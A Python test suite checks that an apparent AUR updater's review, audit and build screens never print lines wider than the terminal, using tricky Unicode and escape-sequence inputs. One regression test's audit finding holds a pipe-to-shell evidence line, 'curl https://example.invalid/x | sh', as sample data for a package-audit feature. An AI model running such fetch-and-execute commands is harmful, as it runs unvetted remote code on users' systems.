"""The width invariant, across the layout and every renderer.
Every line this tool prints has to fit the terminal. A line that is even one
cell too wide does not merely look wrong: the terminal wraps it, which pushes
every row below out of alignment and makes the whole screen unreadable.
This used to be broken in a way that was invisible on a wide terminal.
`Columns.for_width` inflated the width up to a 64-column floor, so on a
40-column terminal every Row believed it had 64 cells, produced 62-cell lines,
and the terminal wrapped all of them. The Go front end had the identical bug for
the identical reason.
The content is adversarial on purpose: a PKGBUILD can put arbitrary text into a
description, a source URL or an evidence line, and cell widths for emoji, ZWJ
sequences and combining marks do not match codepoint counts.
"""
from __future__ import annotations
import sys
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
from updater.audit import Finding, Report, SemanticDiff, SetDiff, Severity # noqa: E402
from updater.buildgraph import build_graph # noqa: E402
from updater.icons import glyphs # noqa: E402
from updater.layout import Grid, Overflow, clip # noqa: E402
from updater.live import BuildState # noqa: E402
from updater.render import audit as render_audit # noqa: E402
from updater.render import build as render_build # noqa: E402
from updater.render import review as render_review # noqa: E402
from updater.render.base import MIN_WIDTH, Columns # noqa: E402
from updater.srcinfo import SrcInfo # noqa: E402
from updater.theme import Theme # noqa: E402
THEME = Theme.default()
GLYPHS = glyphs("unicode")
#: widths worth exercising: absurdly narrow, the old floor, and comfortable
WIDTHS = (20, 30, 40, 60, 63, 64, 65, 80, 100, 120, 200)
UGLY = [
"日本語のパッケージ説明",
"🎉🚀 emoji in a description",
"combining: e\u0301\u0301\u0301\u0301",
"zero\u200bwidth\u200bspaces",
"RTL \u202eoverride\u202c text",
"👨👩👧👦 family zwj",
"🏳️🌈 flag",
"ff ligature",
"x" * 400,
"",
"tab\there",
"\x1b[31mraw escape\x1b[0m",
]
def check(lines, width: int, label: str) -> list[str]:
bad = []
for i, line in enumerate(lines):
cells = line.cell_len if hasattr(line, "cell_len") else len(str(line))
if cells > width:
bad.append(
f"{label} width={width} line {i}: {cells} cells, "
f"{cells - width} over: {str(line)[:60]!r}"
)
return bad
# --------------------------------------------------------------------------
# the primitives
# --------------------------------------------------------------------------
def test_for_width_never_reports_a_width_wider_than_the_terminal():
"""The regression: this used to return MIN_WIDTH for anything narrower."""
for width in WIDTHS:
cols = Columns.for_width(width)
assert cols.width <= max(width, 20), f"for_width({width}) reported {cols.width}"
def test_columns_never_place_content_past_the_edge():
for width in WIDTHS:
cols = Columns.for_width(width)
for name in ("ver", "note", "feed_ver", "feed_note"):
at = getattr(cols, name)
assert 0 <= at <= cols.width, f"width={width}: {name}={at}"
def test_the_grid_floor_still_protects_a_narrow_layout():
"""The floor exists so columns do not collapse; it must not vanish."""
narrow = Columns.for_width(20)
assert narrow.grid == MIN_WIDTH
# and the columns stay distinct from each other at a usable width
cols = Columns.for_width(100)
assert cols.ver < cols.note
def test_rows_cannot_overflow_the_grid():
for width in WIDTHS:
grid = Grid(width=width)
for text in UGLY:
for shape in ("span", "span_right", "chain", "fill", "right_only"):
try:
row = grid.row()
if shape == "span":
row.span(text)
elif shape == "span_right":
row.span(text).right(text)
elif shape == "chain":
row.span(text).to(width // 2, minimum=0).span(text).right(text)
elif shape == "fill":
row.span(text).fill()
else:
row.right(text).right(text, col=width - 1)
line = row.done()
except Overflow as exc:
raise AssertionError(
f"width={width} {shape} {text[:20]!r} overflowed: {exc}"
) from exc
assert line.cell_len <= width, (
f"width={width} {shape} {text[:20]!r}: {line.cell_len} cells"
)
def test_clip_respects_its_budget():
for limit in (0, 1, 2, 3, 5, 20, 50, 200):
for text in UGLY:
out = clip(text, limit)
from rich.cells import cell_len
assert cell_len(out) <= max(0, limit), (
f"clip({text[:16]!r}, {limit}) -> {out!r} is {cell_len(out)} cells"
)
def test_clip_leaves_short_text_alone():
assert clip("linux", 20) == "linux"
assert clip("", 10) == ""
assert clip("linux", 0) == ""
# --------------------------------------------------------------------------
# the renderers
# --------------------------------------------------------------------------
def test_the_review_screen_fits_every_width():
problems = []
for width in WIDTHS:
for text in UGLY:
review = render_review.Review(
meta=text,
repo=[render_review.RepoRow(tag="U", name=text, old=text, new=text, size=text)],
aur=[
render_review.AurRow(
tag="!!", name=text, old=text, new=text, note=text, details=[text]
)
],
vcs=[render_review.VcsRow(name=text, old=text, new=text)],
checks=[render_review.CheckRow(ok=False, label=text, detail=text)],
steps=[render_review.Step(index="1", command=text, detail=text)],
)
for dry_run in (True, False):
problems += check(
render_review.build(
review, theme=THEME, glyphs=GLYPHS, width=width, dry_run=dry_run
),
width,
f"review dry={dry_run}",
)
assert not problems, "\n".join(problems[:12])
def test_the_audit_screen_fits_every_width():
problems = []
for width in WIDTHS:
for text in UGLY:
report = Report(
package=text,
findings=[
Finding(rule=text, severity=Severity.BLOCK, title=text, evidence=text),
Finding(
rule=text, severity=Severity.LOOK, title=text, evidence=text, where=text
),
],
diff=SemanticDiff(
pkgver=(text, text),
source=SetDiff(added=[text], removed=[text]),
sums=SetDiff(added=[text]),
funcs_added=[text],
funcs_removed=[text],
funcs_changed=[text],
lines_added=3,
lines_removed=2,
),
)
for baseline in (True, False):
problems += check(
render_audit.build(
report,
theme=THEME,
glyphs=GLYPHS,
width=width,
title=text,
old_text=text,
new_text=text,
baseline=baseline,
),
width,
f"audit baseline={baseline}",
)
assert not problems, "\n".join(problems[:12])
def test_the_build_dashboard_fits_every_width():
graph = build_graph(
{
name: SrcInfo(
pkgbase=name, pkgver="1", pkgrel="1", depends=(["a"] if name != "a" else [])
)
for name in ("a", "b", "c")
},
{"a", "b", "c"},
)
problems = []
for width in WIDTHS:
for text in UGLY:
state = BuildState(package=text, phase=text, elapsed=12.5, jobs=3)
feed = [
render_build.FeedEntry(
name=text, version=text, elapsed=3.0, state="done", shared=True, note=text
)
]
for dashboard in (True, False):
try:
lines = render_build.build(
graph=graph,
theme=THEME,
glyphs=GLYPHS,
width=width,
feed=feed,
states=[state],
completed={"a"},
running={"b"},
failed=set(),
totals=render_build.Totals(
total=3,
elapsed=9.0,
eta=1.0,
download_bytes=1024,
download_rate=512.0,
download_remaining=0,
download_eta=0.0,
),
parallelism=text,
dashboard=dashboard,
)
except Exception as exc: # noqa: BLE001
problems.append(
f"build width={width} dashboard={dashboard} "
f"{text[:16]!r} raised {type(exc).__name__}: {exc}"
)
continue
problems += check(lines, width, f"build dashboard={dashboard}")
assert not problems, "\n".join(problems[:12])
def test_a_narrow_terminal_does_not_wrap_the_audit_screen():
"""The specific shape of the original bug, kept as a named regression test."""
report = Report(
package="enca-bin",
findings=[
Finding(
rule="pipe-to-shell",
severity=Severity.BLOCK,
title="pipes a download into a shell",
evidence="curl https://example.invalid/x | sh",
)
],
diff=SemanticDiff(source=SetDiff(added=["https://example.invalid/x"])),
)
for width in (40, 50, 60):
lines = render_audit.build(
report, theme=THEME, glyphs=GLYPHS, width=width, title="enca-bin", baseline=False
)
worst = max(line.cell_len for line in lines)
assert worst <= width, f"width={width} produced a {worst}-cell line"
def main() -> int:
tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)]
failed = 0
for name, fn in tests:
try:
fn()
except Exception as exc: # noqa: BLE001
failed += 1
print(f"FAIL {name}\n {type(exc).__name__}: {exc}")
else:
print(f"ok {name}")
print(f"\n{len(tests) - failed}/{len(tests)} passed")
return 1 if failed else 0
if __name__ == "__main__":
raise SystemExit(main())